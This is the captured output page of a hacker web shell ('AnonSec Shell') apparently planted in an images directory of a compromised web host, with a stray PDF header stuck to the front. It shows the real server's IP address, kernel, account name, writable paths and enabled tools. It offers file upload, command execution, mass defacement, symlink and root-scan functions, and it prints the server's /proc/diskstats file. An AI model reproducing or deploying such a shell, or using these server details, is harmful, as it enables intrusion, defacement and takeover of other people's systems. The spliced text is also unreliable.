%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/images/product/anon_sym/anon/proc//diskstats
   7       0 loop0 44 0 85 1 0 0 0 0 0 60 1 0 0 0 0 0 0
   7       1 loop1 288 0 7192 57 0 0 0 0 0 148 57 0 0 0 0 0 0
   7       2 loop2 62413 0 324070 1788 0 0 0 0 0 37048 1788 0 0 0 0 0 0
   7       3 loop3 268 0 4510 90 0 0 0 0 0 208 90 0 0 0 0 0 0
   7       4 loop4 65614 0 358042 2087 0 0 0 0 0 42812 2087 0 0 0 0 0 0
   7       5 loop5 81641 0 431722 2704 0 0 0 0 0 50872 2704 0 0 0 0 0 0
   7       6 loop6 81519 0 432672 2790 0 0 0 0 0 49756 2790 0 0 0 0 0 0
   7       7 loop7 62751 0 341572 2588 0 0 0 0 0 38536 2588 0 0 0 0 0 0
  11       0 sr0 17 0 7 1 0 0 0 0 0 36 1 0 0 0 0 0 0
   8       0 sda 2951514 237689 159004310 2834176 53837572 30393400 1453474034 137959471 0 67237504 140884966 46147 38554 342259640 91318 0 0
   8       1 sda1 12006 0 109378 7532 0 0 0 0 0 11900 7532 0 0 0 0 0 0
   8       2 sda2 3268 137 563684 7743 1631 451 2089304 38940 0 10536 46918 121 18 5799904 234 0 0
   8       3 sda3 2934713 237552 158270233 2818402 53835941 30392949 1451384730 137920531 0 67220416 140830017 46026 38536 336459736 91083 0 0
 253       0 dm-0 3168801 0 158038399 3154548 83963199 0 1451384730 228217032 0 67193800 231543172 84562 0 336459736 171592 0 0
   7       8 loop8 87630 0 471404 2549 0 0 0 0 0 44796 2549 0 0 0 0 0 0
   7       9 loop9 65538 0 351438 1851 0 0 0 0 0 41808 1851 0 0 0 0 0 0
   7      10 loop10 121306 0 629514 2980 0 0 0 0 0 53824 2980 0 0 0 0 0 0
   7      11 loop11 118096 0 619092 3208 0 0 0 0 0 51776 3208 0 0 0 0 0 0
   7      12 loop12 139958 0 750632 3548 0 0 0 0 0 57132 3548 0 0 0 0 0 0
   7      13 loop13 641760 0 3159346 13377 0 0 0 0 0 114812 13377 0 0 0 0 0 0
   7      14 loop14 1437 0 78746 575 0 0 0 0 0 3824 575 0 0 0 0 0 0
   7      15 loop15 2275 0 141242 1062 0 0 0 0 0 7144 1062 0 0 0 0 0 0
   7      16 loop16 459 0 7948 326 0 0 0 0 0 316 326 0 0 0 0 0 0
   7      17 loop17 275 0 3526 276 0 0 0 0 0 220 276 0 0 0 0 0 0
   7      18 loop18 2868 0 218476 1475 0 0 0 0 0 10600 1475 0 0 0 0 0 0
   7      19 loop19 3766 0 42030 5874 6431590 0 65940720 8842595 0 9200648 16283352 519 0 31433016 795 623465 7434086
   7      20 loop20 553 0 15070 116 6 0 16 13 0 380 144 0 0 0 0 6 13
   7      21 loop21 88727 0 469088 2196 0 0 0 0 0 44528 2196 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team